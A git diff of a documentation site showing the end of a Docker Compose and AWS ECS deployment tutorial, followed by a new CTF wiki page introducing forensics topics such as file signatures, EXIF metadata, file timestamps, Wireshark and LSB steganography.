Let me breakdown what the file above means. At the parent level, we define the names of our services - es and web. The image parameter is always required, and for each service that we want Docker to run, we can add additional parameters. For es, we just refer to the elasticsearch image available on Elastic registry. For our Flask app, we refer to the image that we built at the beginning of this section.

+

Other parameters such as command and ports provide more information about the container. The volumes parameter specifies a mount point in our web container where the code will reside. This is purely optional and is useful if you need access to logs, etc. We'll later see how this can be useful during development. Refer to the online reference to learn more about the parameters this file supports. We also add volumes for the es container so that the data we load persists between restarts. We also specify depends_on, which tells docker to start the es container before web. You can read more about it on docker compose docs.

+
+

Note: You must be inside the directory with the docker-compose.yml file in order to execute most Compose commands.

+
+

Great! Now the file is ready, let's see docker-compose in action. But before we start, we need to make sure the ports and names are free. So if you have the Flask and ES containers running, lets turn them off.

+
$ docker stop es foodtrucks-web
+es
+foodtrucks-web
+
+$ docker rm es foodtrucks-web
+es
+foodtrucks-web
+
+

Now we can run docker-compose. Navigate to the food trucks directory and run docker-compose up.

+
$ docker-compose up
+Creating network "foodtrucks_default" with the default driver
+Creating foodtrucks_es_1
+Creating foodtrucks_web_1
+Attaching to foodtrucks_es_1, foodtrucks_web_1
+es_1  | [2016-01-11 03:43:50,300][INFO ][node                     ] [Comet] version[2.1.1], pid[1], build[40e2c53/2015-12-15T13:05:55Z]
+es_1  | [2016-01-11 03:43:50,307][INFO ][node                     ] [Comet] initializing ...
+es_1  | [2016-01-11 03:43:50,366][INFO ][plugins                  ] [Comet] loaded [], sites []
+es_1  | [2016-01-11 03:43:50,421][INFO ][env                      ] [Comet] using [1] data paths, mounts [[/usr/share/elasticsearch/data (/dev/sda1)]], net usable_space [16gb], net total_space [18.1gb], spins? [possibly], types [ext4]
+es_1  | [2016-01-11 03:43:52,626][INFO ][node                     ] [Comet] initialized
+es_1  | [2016-01-11 03:43:52,632][INFO ][node                     ] [Comet] starting ...
+es_1  | [2016-01-11 03:43:52,703][WARN ][common.network           ] [Comet] publish address: {0.0.0.0} is a wildcard address, falling back to first non-loopback: {172.17.0.2}
+es_1  | [2016-01-11 03:43:52,704][INFO ][transport                ] [Comet] publish_address {172.17.0.2:9300}, bound_addresses {[::]:9300}
+es_1  | [2016-01-11 03:43:52,721][INFO ][discovery                ] [Comet] elasticsearch/cEk4s7pdQ-evRc9MqS2wqw
+es_1  | [2016-01-11 03:43:55,785][INFO ][cluster.service          ] [Comet] new_master {Comet}{cEk4s7pdQ-evRc9MqS2wqw}{172.17.0.2}{172.17.0.2:9300}, reason: zen-disco-join(elected_as_master, [0] joins received)
+es_1  | [2016-01-11 03:43:55,818][WARN ][common.network           ] [Comet] publish address: {0.0.0.0} is a wildcard address, falling back to first non-loopback: {172.17.0.2}
+es_1  | [2016-01-11 03:43:55,819][INFO ][http                     ] [Comet] publish_address {172.17.0.2:9200}, bound_addresses {[::]:9200}
+es_1  | [2016-01-11 03:43:55,819][INFO ][node                     ] [Comet] started
+es_1  | [2016-01-11 03:43:55,826][INFO ][gateway                  ] [Comet] recovered [0] indices into cluster_state
+es_1  | [2016-01-11 03:44:01,825][INFO ][cluster.metadata         ] [Comet] [sfdata] creating index, cause [auto(index api)], templates [], shards [5]/[1], mappings [truck]
+es_1  | [2016-01-11 03:44:02,373][INFO ][cluster.metadata         ] [Comet] [sfdata] update_mapping [truck]
+es_1  | [2016-01-11 03:44:02,510][INFO ][cluster.metadata         ] [Comet] [sfdata] update_mapping [truck]
+es_1  | [2016-01-11 03:44:02,593][INFO ][cluster.metadata         ] [Comet] [sfdata] update_mapping [truck]
+es_1  | [2016-01-11 03:44:02,708][INFO ][cluster.metadata         ] [Comet] [sfdata] update_mapping [truck]
+es_1  | [2016-01-11 03:44:03,047][INFO ][cluster.metadata         ] [Comet] [sfdata] update_mapping [truck]
+web_1 |  * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
+
+

Head over to the IP to see your app live. That was amazing wasn't it? Just a few lines of configuration and we have two Docker containers running successfully in unison. Let's stop the services and re-run in detached mode.

+
web_1 |  * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
+Killing foodtrucks_web_1 ... done
+Killing foodtrucks_es_1 ... done
+
+$ docker-compose up -d
+Creating es               ... done
+Creating foodtrucks_web_1 ... done
+
+$ docker-compose ps
+      Name                    Command               State                Ports
+--------------------------------------------------------------------------------------------
+es                 /usr/local/bin/docker-entr ...   Up      0.0.0.0:9200->9200/tcp, 9300/tcp
+foodtrucks_web_1   python3 app.py                   Up      0.0.0.0:5000->5000/tcp
+
+

Unsurprisingly, we can see both containers running successfully. Where do the names come from? Those were created automatically by Compose. But does Compose also create the network automatically? Good question! Let's find out.

+

First off, let us stop the services from running. We can always bring them back up with just one command. Data volumes will persist, so it’s possible to start the cluster again with the same data using docker-compose up. To destroy the cluster and the data volumes, just type docker-compose down -v.

+
$ docker-compose down -v
+Stopping foodtrucks_web_1 ... done
+Stopping es               ... done
+Removing foodtrucks_web_1 ... done
+Removing es               ... done
+Removing network foodtrucks_default
+Removing volume foodtrucks_esdata1
+
+

While we're are at it, we'll also remove the foodtrucks network that we created last time.

+
$ docker network rm foodtrucks-net
+$ docker network ls
+NETWORK ID          NAME                 DRIVER              SCOPE
+c2c695315b3a        bridge               bridge              local
+a875bec5d6fd        host                 host                local
+ead0e804a67b        none                 null                local
+
+

Great! Now that we have a clean slate, let's re-run our services and see if Compose does its magic.

+
$ docker-compose up -d
+Recreating foodtrucks_es_1
+Recreating foodtrucks_web_1
+
+$ docker container ls
+CONTAINER ID        IMAGE                        COMMAND                  CREATED             STATUS              PORTS                    NAMES
+f50bb33a3242        yourusername/foodtrucks-web  "python3 app.py"         14 seconds ago      Up 13 seconds       0.0.0.0:5000->5000/tcp   foodtrucks_web_1
+e299ceeb4caa        elasticsearch                "/docker-entrypoint.s"   14 seconds ago      Up 14 seconds       9200/tcp, 9300/tcp       foodtrucks_es_1
+
+

So far, so good. Time to see if any networks were created.

+
$ docker network ls
+NETWORK ID          NAME                 DRIVER
+c2c695315b3a        bridge               bridge              local
+f3b80f381ed3        foodtrucks_default   bridge              local
+a875bec5d6fd        host                 host                local
+ead0e804a67b        none                 null                local
+
+

You can see that compose went ahead and created a new network called foodtrucks_default and attached both the new services in that network so that each of these are discoverable to the other. Each container for a service joins the default network and is both reachable by other containers on that network, and discoverable by them at a hostname identical to the container name.

+
$ docker ps
+CONTAINER ID        IMAGE                                                 COMMAND                  CREATED              STATUS              PORTS                              NAMES
+8c6bb7e818ec        docker.elastic.co/elasticsearch/elasticsearch:6.3.2   "/usr/local/bin/dock…"   About a minute ago   Up About a minute   0.0.0.0:9200->9200/tcp, 9300/tcp   es
+7640cec7feb7        yourusername/foodtrucks-web                           "python3 app.py"         About a minute ago   Up About a minute   0.0.0.0:5000->5000/tcp             foodtrucks_web_1
+
+$ docker network inspect foodtrucks_default
+[
+    {
+        "Name": "foodtrucks_default",
+        "Id": "f3b80f381ed3e03b3d5e605e42c4a576e32d38ba24399e963d7dad848b3b4fe7",
+        "Created": "2018-07-30T03:36:06.0384826Z",
+        "Scope": "local",
+        "Driver": "bridge",
+        "EnableIPv6": false,
+        "IPAM": {
+            "Driver": "default",
+            "Options": null,
+            "Config": [
+                {
+                    "Subnet": "172.19.0.0/16",
+                    "Gateway": "172.19.0.1"
+                }
+            ]
+        },
+        "Internal": false,
+        "Attachable": true,
+        "Ingress": false,
+        "ConfigFrom": {
+            "Network": ""
+        },
+        "ConfigOnly": false,
+        "Containers": {
+            "7640cec7feb7f5615eaac376271a93fb8bab2ce54c7257256bf16716e05c65a5": {
+                "Name": "foodtrucks_web_1",
+                "EndpointID": "b1aa3e735402abafea3edfbba605eb4617f81d94f1b5f8fcc566a874660a0266",
+                "MacAddress": "02:42:ac:13:00:02",
+                "IPv4Address": "172.19.0.2/16",
+                "IPv6Address": ""
+            },
+            "8c6bb7e818ec1f88c37f375c18f00beb030b31f4b10aee5a0952aad753314b57": {
+                "Name": "es",
+                "EndpointID": "649b3567d38e5e6f03fa6c004a4302508c14a5f2ac086ee6dcf13ddef936de7b",
+                "MacAddress": "02:42:ac:13:00:03",
+                "IPv4Address": "172.19.0.3/16",
+                "IPv6Address": ""
+            }
+        },
+        "Options": {},
+        "Labels": {
+            "com.docker.compose.network": "default",
+            "com.docker.compose.project": "foodtrucks",
+            "com.docker.compose.version": "1.21.2"
+        }
+    }
+]
+
+

Development Workflow

+

Before we jump to the next section, there's one last thing I wanted to cover about docker-compose. As stated earlier, docker-compose is really great for development and testing. So let's see how we can configure compose to make our lives easier during development.

+

Throughout this tutorial, we've worked with readymade docker images. While we've built images from scratch, we haven't touched any application code yet and mostly restricted ourselves to editing Dockerfiles and YAML configurations. One thing that you must be wondering is how does the workflow look during development? Is one supposed to keep creating Docker images for every change, then publish it and then run it to see if the changes work as expected? I'm sure that sounds super tedious. There has to be a better way. In this section, that's what we're going to explore.

+

Let's see how we can make a change in the Foodtrucks app we just ran. Make sure you have the app running,

+
$ docker container ls
+CONTAINER ID        IMAGE                                                 COMMAND                  CREATED             STATUS              PORTS                              NAMES
+5450ebedd03c        yourusername/foodtrucks-web                           "python3 app.py"         9 seconds ago       Up 6 seconds        0.0.0.0:5000->5000/tcp             foodtrucks_web_1
+05d408b25dfe        docker.elastic.co/elasticsearch/elasticsearch:6.3.2   "/usr/local/bin/dock…"   10 hours ago        Up 10 hours         0.0.0.0:9200->9200/tcp, 9300/tcp   es
+
+

Now let's see if we can change this app to display a Hello world! message when a request is made to /hello route. Currently, the app responds with a 404.

+
$ curl -I 0.0.0.0:5000/hello
+HTTP/1.0 404 NOT FOUND
+Content-Type: text/html
+Content-Length: 233
+Server: Werkzeug/0.11.2 Python/2.7.15rc1
+Date: Mon, 30 Jul 2018 15:34:38 GMT
+
+

Why does this happen? Since ours is a Flask app, we can see app.py (link) for answers. In Flask, routes are defined with @app.route syntax. In the file, you'll see that we only have three routes defined - /,/debugand/search. The/route renders the main app, thedebugroute is used to return some debug information and finallysearch is used by the app to query elasticsearch.

+
$ curl 0.0.0.0:5000/debug
+{
+  "msg": "yellow open sfdata Ibkx7WYjSt-g8NZXOEtTMg 5 1 618 0 1.3mb 1.3mb\n",
+  "status": "success"
+}
+
+

Given that context, how would we add a new route for hello? You guessed it! Let's open flask-app/app.py in our favorite editor and make the following change

+
@app.route('/')
+def index():
+  return render_template("index.html")
+
+# add a new hello route
+@app.route('/hello')
+def hello():
+  return "hello world!"
+
+

Now let's try making a request again

+
$ curl -I 0.0.0.0:5000/hello
+HTTP/1.0 404 NOT FOUND
+Content-Type: text/html
+Content-Length: 233
+Server: Werkzeug/0.11.2 Python/2.7.15rc1
+Date: Mon, 30 Jul 2018 15:34:38 GMT
+
+

Oh no! That didn't work! What did we do wrong? While we did make the change in app.py, the file resides in our machine (or the host machine), but since Docker is running our containers based off the yourusername/foodtrucks-web image, it doesn't know about this change. To validate this, lets try the following -

+
$ docker-compose run web bash
+Starting es ... done
+root@581e351c82b0:/opt/flask-app# ls
+app.py        package-lock.json  requirements.txt  templates
+node_modules  package.json       static            webpack.config.js
+root@581e351c82b0:/opt/flask-app# grep hello app.py
+root@581e351c82b0:/opt/flask-app# exit
+
+

What we're trying to do here is to validate that our changes are not in the app.py that's running in the container. We do this by running the command docker-compose run, which is similar to its cousin docker run but takes additional arguments for the service (which is web in our case). As soon as we run bash, the shell opens in /opt/flask-app as specified in our Dockerfile. From the grep command we can see that our changes are not in the file.

+

Lets see how we can fix it. First off, we need to tell docker compose to not use the image and instead use the files locally. We'll also set debug mode to true so that Flask knows to reload the server when app.py changes. Replace the web portion of the docker-compose.yml file like so:

+
version: "3"
+services:
+  es:
+    image: docker.elastic.co/elasticsearch/elasticsearch:6.3.2
+    container_name: es
+    environment:
+      - discovery.type=single-node
+    ports:
+      - 9200:9200
+    volumes:
+      - esdata1:/usr/share/elasticsearch/data
+  web:
+    build: . # replaced image with build
+    command: python3 app.py
+    environment:
+      - DEBUG=True # set an env var for flask
+    depends_on:
+      - es
+    ports:
+      - "5000:5000"
+    volumes:
+      - ./flask-app:/opt/flask-app
+volumes:
+  esdata1:
+    driver: local
+
+

With that change (diff), let's stop and start the containers.

+
$ docker-compose down -v
+Stopping foodtrucks_web_1 ... done
+Stopping es               ... done
+Removing foodtrucks_web_1 ... done
+Removing es               ... done
+Removing network foodtrucks_default
+Removing volume foodtrucks_esdata1
+
+$ docker-compose up -d
+Creating network "foodtrucks_default" with the default driver
+Creating volume "foodtrucks_esdata1" with local driver
+Creating es ... done
+Creating foodtrucks_web_1 ... done
+
+

As a final step, lets make the change in app.py by adding a new route. Now we try to curl

+
$ curl 0.0.0.0:5000/hello
+hello world
+
+

Wohoo! We get a valid response! Try playing around by making more changes in the app.

+

That concludes our tour of Docker Compose. With Docker Compose, you can also pause your services, run a one-off command on a container and even scale the number of containers. I also recommend you checkout a few other use-cases of Docker compose. Hopefully, I was able to show you how easy it is to manage multi-container environments with Compose. In the final section, we are going to deploy our app to AWS!

+

AWS Elastic Container Service

+

In the last section we used docker-compose to run our app locally with a single command: docker-compose up. Now that we have a functioning app we want to share this with the world, get some users, make tons of money and buy a big house in Miami. Executing the last three are beyond the scope of the tutorial, so we'll spend our time instead on figuring out how we can deploy our multi-container apps on the cloud with AWS.

+

If you've read this far you are pretty much convinced that Docker is a pretty cool technology. And you are not alone. Seeing the meteoric rise of Docker, almost all Cloud vendors started working on adding support for deploying Docker apps on their platform. As of today, you can deploy containers on Google Cloud Platform, AWS, Azure and many others. We already got a primer on deploying single container apps with Elastic Beanstalk and in this section we are going to look at Elastic Container Service (or ECS) by AWS.

+

AWS ECS is a scalable and super flexible container management service that supports Docker containers. It allows you to operate a Docker cluster on top of EC2 instances via an easy-to-use API. Where Beanstalk came with reasonable defaults, ECS allows you to completely tune your environment as per your needs. This makes ECS, in my opinion, quite complex to get started with.

+

Luckily for us, ECS has a friendly CLI tool that understands Docker Compose files and automatically provisions the cluster on ECS! Since we already have a functioning docker-compose.yml it should not take a lot of effort in getting up and running on AWS. So let's get started!

+

The first step is to install the CLI. Instructions to install the CLI on both Mac and Linux are explained very clearly in the official docs. Go ahead, install the CLI and when you are done, verify the install by running

+
$ ecs-cli --version
+ecs-cli version 1.18.1 (7e9df84)
+
+

Next, we'll be working on configuring the CLI so that we can talk to ECS. We'll be following the steps as detailed in the official guide on AWS ECS docs. In case of any confusion, please feel free to refer to that guide.

+

The first step will involve creating a profile that we'll use for the rest of the tutorial. To continue, you'll need your AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY. To obtain these, follow the steps as detailed under the section titled Access Key and Secret Access Key on this page.

+
$ ecs-cli configure profile --profile-name ecs-foodtrucks --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY
+
+

Next, we need to get a keypair which we'll be using to log into the instances. Head over to your EC2 Console and create a new keypair. Download the keypair and store it in a safe location. Another thing to note before you move away from this screen is the region name. In my case, I have named my key - ecs and set my region as us-east-1. This is what I'll assume for the rest of this walkthrough.

+

EC2 Keypair

+

The next step is to configure the CLI.

+
$ ecs-cli configure --region us-east-1 --cluster foodtrucks
+INFO[0000] Saved ECS CLI configuration for cluster (foodtrucks)
+
+

We provide the configure command with the region name we want our cluster to reside in and a cluster name. Make sure you provide the same region name that you used when creating the keypair. If you've not configured the AWS CLI on your computer before, you can use the official guide, which explains everything in great detail on how to get everything going.

+

The next step enables the CLI to create a CloudFormation template.

+
$ ecs-cli up --keypair ecs --capability-iam --size 1 --instance-type t2.medium
+INFO[0000] Using recommended Amazon Linux 2 AMI with ECS Agent 1.39.0 and Docker version 18.09.9-ce
+INFO[0000] Created cluster                               cluster=foodtrucks
+INFO[0001] Waiting for your cluster resources to be created
+INFO[0001] Cloudformation stack status                   stackStatus=CREATE_IN_PROGRESS
+INFO[0062] Cloudformation stack status                   stackStatus=CREATE_IN_PROGRESS
+INFO[0122] Cloudformation stack status                   stackStatus=CREATE_IN_PROGRESS
+INFO[0182] Cloudformation stack status                   stackStatus=CREATE_IN_PROGRESS
+INFO[0242] Cloudformation stack status                   stackStatus=CREATE_IN_PROGRESS
+VPC created: vpc-0bbed8536930053a6
+Security Group created: sg-0cf767fb4d01a3f99
+Subnet created: subnet-05de1db2cb1a50ab8
+Subnet created: subnet-01e1e8bc95d49d0fd
+Cluster creation succeeded.
+
+

Here we provide the name of the keypair we downloaded initially (ecs in my case), the number of instances that we want to use (--size) and the type of instances that we want the containers to run on. The --capability-iam flag tells the CLI that we acknowledge that this command may create IAM resources.

+

The last and final step is where we'll use our docker-compose.yml file. We'll need to make a few minor changes, so instead of modifying the original, let's make a copy of it. The contents of this file (after making the changes) look like (below) -

+
version: '2'
+services:
+  es:
+    image: docker.elastic.co/elasticsearch/elasticsearch:7.6.2
+    cpu_shares: 100
+    mem_limit: 3621440000
+    environment:
+      - discovery.type=single-node
+      - bootstrap.memory_lock=true
+      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"
+    logging:
+      driver: awslogs
+      options:
+        awslogs-group: foodtrucks
+        awslogs-region: us-east-1
+        awslogs-stream-prefix: es
+  web:
+    image: yourusername/foodtrucks-web
+    cpu_shares: 100
+    mem_limit: 262144000
+    ports:
+      - "80:5000"
+    links:
+      - es
+    logging:
+      driver: awslogs
+      options:
+        awslogs-group: foodtrucks
+        awslogs-region: us-east-1
+        awslogs-stream-prefix: web
+
+

The only changes we made from the original docker-compose.yml are of providing the mem_limit (in bytes) and cpu_shares values for each container and adding some logging configuration. This allows us to view logs generated by our containers in AWS CloudWatch. Head over to CloudWatch to create a log group called foodtrucks. Note that since ElasticSearch typically ends up taking more memory, we've given around 3.4 GB of memory limit. Another thing we need to do before we move onto the next step is to publish our image on Docker Hub.

+
$ docker push yourusername/foodtrucks-web
+
+

Great! Now let's run the final command that will deploy our app on ECS!

+
$ cd aws-ecs
+$ ecs-cli compose up
+INFO[0000] Using ECS task definition                     TaskDefinition=ecscompose-foodtrucks:2
+INFO[0000] Starting container...                         container=845e2368-170d-44a7-bf9f-84c7fcd9ae29/es
+INFO[0000] Starting container...                         container=845e2368-170d-44a7-bf9f-84c7fcd9ae29/web
+INFO[0000] Describe ECS container status                 container=845e2368-170d-44a7-bf9f-84c7fcd9ae29/web desiredStatus=RUNNING lastStatus=PENDING taskDefinition=ecscompose-foodtrucks:2
+INFO[0000] Describe ECS container status                 container=845e2368-170d-44a7-bf9f-84c7fcd9ae29/es desiredStatus=RUNNING lastStatus=PENDING taskDefinition=ecscompose-foodtrucks:2
+INFO[0036] Describe ECS container status                 container=845e2368-170d-44a7-bf9f-84c7fcd9ae29/es desiredStatus=RUNNING lastStatus=PENDING taskDefinition=ecscompose-foodtrucks:2
+INFO[0048] Describe ECS container status                 container=845e2368-170d-44a7-bf9f-84c7fcd9ae29/web desiredStatus=RUNNING lastStatus=PENDING taskDefinition=ecscompose-foodtrucks:2
+INFO[0048] Describe ECS container status                 container=845e2368-170d-44a7-bf9f-84c7fcd9ae29/es desiredStatus=RUNNING lastStatus=PENDING taskDefinition=ecscompose-foodtrucks:2
+INFO[0060] Started container...                          container=845e2368-170d-44a7-bf9f-84c7fcd9ae29/web desiredStatus=RUNNING lastStatus=RUNNING taskDefinition=ecscompose-foodtrucks:2
+INFO[0060] Started container...                          container=845e2368-170d-44a7-bf9f-84c7fcd9ae29/es desiredStatus=RUNNING lastStatus=RUNNING taskDefinition=ecscompose-foodtrucks:2
+
+

It's not a coincidence that the invocation above looks similar to the one we used with Docker Compose. If everything went well, you should see a desiredStatus=RUNNING lastStatus=RUNNING as the last line.

+

Awesome! Our app is live, but how can we access it?

+
ecs-cli ps
+Name                                      State    Ports                     TaskDefinition
+845e2368-170d-44a7-bf9f-84c7fcd9ae29/web  RUNNING  54.86.14.14:80->5000/tcp  ecscompose-foodtrucks:2
+845e2368-170d-44a7-bf9f-84c7fcd9ae29/es   RUNNING                            ecscompose-foodtrucks:2
+
+

Go ahead and open http://54.86.14.14 in your browser and you should see the Food Trucks in all its black-yellow glory! Since we're on the topic, let's see how our AWS ECS console looks.

+

Cluster

+

Tasks

+

We can see above that our ECS cluster called 'foodtrucks' was created and is now running 1 task with 2 container instances. Spend some time browsing this console to get a hang of all the options that are here.

+

Cleanup

+

Once you've played around with the deployed app, remember to turn down the cluster -

+
$ ecs-cli down --force
+INFO[0001] Waiting for your cluster resources to be deleted...
+INFO[0001] Cloudformation stack status                   stackStatus=DELETE_IN_PROGRESS
+INFO[0062] Cloudformation stack status                   stackStatus=DELETE_IN_PROGRESS
+INFO[0124] Cloudformation stack status                   stackStatus=DELETE_IN_PROGRESS
+INFO[0155] Deleted cluster                               cluster=foodtrucks
+
+

So there you have it. With just a few commands we were able to deploy our awesome app on the AWS cloud!

+

CONCLUSION

+

And that's a wrap! After a long, exhaustive but fun tutorial you are now ready to take the container world by storm! If you followed along till the very end then you should definitely be proud of yourself. You learned how to setup Docker, run your own containers, play with static and dynamic websites and most importantly got hands on experience with deploying your applications to the cloud!

+

I hope that finishing this tutorial makes you more confident in your abilities to deal with servers. When you have an idea of building your next app, you can be sure that you'll be able to get it in front of people with minimal effort.

+

Next Steps

+

Your journey into the container world has just started! My goal with this tutorial was to whet your appetite and show you the power of Docker. In the sea of new technology, it can be hard to navigate the waters alone and tutorials such as this one can provide a helping hand. This is the Docker tutorial I wish I had when I was starting out. Hopefully, it served its purpose of getting you excited about containers so that you no longer have to watch the action from the sides.

+

Below are a few additional resources that will be beneficial. For your next project, I strongly encourage you to use Docker. Keep in mind - practice makes perfect!

+

Additional Resources

+ +

Off you go, young padawan!

+

Give Feedback

+

Now that the tutorial is over, it's my turn to ask questions. How did you like the tutorial? Did you find the tutorial to be a complete mess or did you have fun and learn something?

+

Send in your thoughts directly to me or just create an issue. I'm on Twitter, too, so if that's your deal, feel free to holler there!

+

I would totally love to hear about your experience with this tutorial. Give suggestions on how to make this better or let me know about my mistakes. I want this tutorial to be one of the best introductory tutorials on the web and I can't do it without your help.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CTF/Forensics/index.html b/CTF/Forensics/index.html new file mode 100644 index 000000000..86fff413d --- /dev/null +++ b/CTF/Forensics/index.html @@ -0,0 +1,9174 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Forensics - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

Forensics

+
+

https://ctf101.org/forensics

+
+

Forensics is the art of recovering the digital trail left on a computer. There are plenty of methods to find data that is seemingly deleted, not stored, or worse, covertly recorded.

+

An important part of Forensics is having the right tools, as well as being familiar with the following topics:

+
    +
  • File Formats
  • +
  • EXIF data
  • +
  • Wireshark & PCAPs
  • +
  • What is Wireshark
  • +
  • Steganography
  • +
  • Disk Imaging
  • +
+

File Formats

+

File Extensions are not the sole way to identify the type of a file, files have certain leading bytes called file signatures which allow programs to parse the data consistently. Files can also contain additional "hidden" data called metadata which can be useful in finding out information about the context of a file's data.

+

File Signatures

+

File signatures (also known as File Magic Numbers) are bytes within a file used to identify the format of the file. Generally, they’re 2-4 bytes long, found at the beginning of a file.

+

What is it used for?

+

Files can sometimes come without an extension, or with incorrect ones. We use file signature analysis to identify the format (file type) of the file. Programs need to know the file type to open properly.

+

How do you find the file signature?

+

You need to be able to look at the binary data that constitutes the file you’re examining. To do this, you’ll use a hexadecimal editor. Once you find the file signature, you can check it against file signature repositories such as Gary Kessler’s.

+

Example

+

File A

+

The file above, when opened in a Hex Editor, begins with the bytes FFD8FFE0 00104A46 494600 or in ASCII ˇÿˇ‡ JFIF where \x00 and \x10 lack symbols.

+

Searching in Gary Kessler’s database shows that this file signature belongs to a JPEG/JFIF graphics file, exactly what we suspect.

+

Metadata

+

Metadata is data about data. Different types of files have different metadata. The metadata on a photo could include dates, camera information, GPS location, comments, etc. For music, it could include the title, author, track number, and album.

+

What kind of file metadata is useful?

+

Potentially, any file metadata you can find could be useful.

+

How do I find it?

+
+

EXIF Data is metadata attached to photos which can include location, time, and device information.

+
+

One of our favorite tools is ExifTool, which displays metadata for an input file, including: - File size - Dimensions (width and height) - File type - Programs used to create (e.g. Photoshop) - OS used to create (e.g. Apple)

+

Run command line: exiftool(-k).exe [filename] and you should see something like this:

+

Exiftool

+

Example

+

Let's take a look at File A's metadata with ExifTool:

+

File type

+

Metadata 1

+

Image description

+

Metadata 2

+

Make and camera info

+

Metadata 3

+

GPS Latitude/Longitude

+

Metadata 4

+

Timestamps

+

Timestamps are data that indicate the time of certain events (MAC): - Modification – when a file was modified - Access – when a file or entries were read or accessed - Creation – when files or entries were created

+

Types of timestamps

+
    +
  • Modified
  • +
  • Accessed
  • +
  • Created
  • +
  • Date Changed (MFT)
  • +
  • Filename Date Created (MFT)
  • +
  • Filename Date Modified (MFT)
  • +
  • Filename Date Accessed (MFT)
  • +
  • INDX Entry Date Created
  • +
  • INDX Entry Date Modified
  • +
  • INDX Entry Date Accessed
  • +
  • INDX Entry Date Changed
  • +
+

Why do we care?

+

Certain events such as creating, moving, copying, opening, editing, etc. might affect the MAC times. If the MAC timestamps can be attained, a timeline of events could be created.

+

Timeline Patterns

+

There are plenty more patterns than the ones introduced below, but these are the basics you should start with to get a good understanding of how it works, and to complete this challenge.

+

Timeline 1 Timeline 2 Timeline 3 Timeline 4 Timeline 5

+

Examples

+

We know that the BMP files fileA and fileD are the same, but that the JPEG files fileB and fileC are different somehow. So how can we find out what went on with these files?

+

Files A, B, C, D

+

By using time stamp information from the file system, we can learn that the BMP fileD was the original file, with fileA being a copy of the original. Afterward, fileB was created by modifying fileB, and fileC was created by modifying fileA differently.

+

Follow along as we demonstrate.

+

We’ll start by analyzing images in AccessData FTK Imager, where there’s a Properties window that shows you some information about the file or folder you’ve selected.

+

Timestamp 1 Timestamp 2 Timestamp 3 Timestamp 4

+

Here are the extracted MAC times for fileA, fileB, fileC, and fileD: Note, AccessData FTK Imager assumes that the file times on the drive are in UTC (Universal Coordinated Time). I subtracted four hours since the USB was set up in Eastern Standard Time. This isn’t necessary, but it helps me understand the times a bit better.

+

Timestamp 5

+

Highlight timestamps that are the same, if timestamps are off by a few seconds, they should be counted as the same. This lets you see a clear difference between different timestamps. Then, highlight oldest to newest to help put them in order.

+

Timestamp 6 Timestamp 7 Timestamp 8 Timestamp 9 Timestamp 10 Timestamp 11 Timestamp 12 Timestamp 13 Timestamp 14 Timestamp 15

+

Identify timestamp patterns.

+

Timestamp 16

+

Wireshark

+

Wireshark is a network protocol analyzer that is often used in CTF challenges to look at recorded network traffic. Wireshark uses a file type called PCAP to record traffic. PCAPs are often distributed in CTF challenges to provide recorded traffic history.

+

Interface

+

Upon opening Wireshark, you are greeted with the option to open a PCAP or begin capturing network traffic on your device.

+

Wirshark Start Screen

+

The network traffic displayed initially shows the packets in the order in which they were captured. You can filter packets by protocol, source IP address, destination IP address, length, etc.

+

PCAP Screen

+

To apply filters, simply enter the constraining factor, for example, 'http', in the display filter bar.

+

PCAP HTTP Filter

+

Filters can be chained together using the '&&' notation. To filter by IP, ensure a double equals '==' is used.

+

PCAP HTTP IP Filter

+

The most pertinent part of a packet is its data payload and protocol information.

+

HTTP TCP Info

+

Decrypting SSL Traffic

+

By default, Wireshark cannot decrypt SSL traffic on your device unless you grant it specific certificates.

+

High-Level SSL Handshake Overview

+

For a network session to be encrypted properly, the client and server must share a common secret that they can use to encrypt and decrypt data without someone in the middle being able to guess. The SSL Handshake loosely follows this format:

+
    +
  1. The client sends a list of available cipher suites it can use along with a random set of bytes referred to as client_random
  2. +
  3. The server sends back the cipher suite that will be used, such as TLS_DHE_RSA_WITH_AES_128_CBC_SHA, along with a random set of bytes referred to as server_random
  4. +
  5. The client generates a pre-master secret, encrypts it, then sends it to the server.
  6. +
  7. The server and client then generate a common master secret using the selected cipher suite
  8. +
  9. The client and server begin communicating using this common secret
  10. +
+

Decryption Requirements

+

There are several ways to be able to decrypt traffic.

+
    +
  • If you have the client and server random values and the pre-master secret, the master secret can be generated and used to decrypt the traffic
  • +
  • If you have the master secret, traffic can be decrypted easily
  • +
  • If the cipher-suite uses RSA, you can factor n in the key to break the encryption on the encrypted pre-master secret and generate the master secret with the client and server randoms
  • +
+

Wireshark SSL Preferences

+

Steganography

+

Steganography is the practice of hiding data in plain sight. Steganography is often embedded in images or audio.

+

You could send a picture of a cat to a friend and hide text inside. Looking at the image, there’s nothing to make anyone think there’s a message hidden inside it.

+

Steg with text

+

You could also hide a second image inside the first.

+

Steg with an Image

+

Steganography Detection

+

So we can hide text and an image, how do we find out if there is hidden data?

+

Group of images

+

FileA and FileD appear the same, but they’re different. Also, FileD was modified after it was copied, so it’s possible there might be steganography in it.

+

FileB and FileC don’t appear to have been modified after being created. That doesn’t rule out the possibility that there’s steganography in them, but you’re more likely to find it in fileD. This brings up two questions:

+
    +
  1. Can we determine that there is steganography in fileD?
  2. +
  3. If there is, what was hidden in it?
  4. +
+

LSB Steganography

+

Files are made of bytes. Each byte is composed of eight bits.

+

Steganography Process Step 1

+

Changing the least-significant bit (LSB) doesn’t change the value very much.

+

Steganography Process Step 2

+

So we can modify the LSB without changing the file noticeably. By doing so, we can hide a message inside.

+

LSB Steganography in Images

+

LSB Stegonagraphy or Least Significant Bit Stegonagraphy is a method of steganography where data is recorded in the lowest bit of a byte.

+

Say an image has a pixel with an RGB value of (255, 255, 255), the bits of those RGB values will look like

+ + + + + + + + + + + + + + + + + + + + + + + + + +
11111111
+

By modifying the lowest, or least significant, bit, we can use the 1-bit space across every RGB value for every pixel to construct a message.

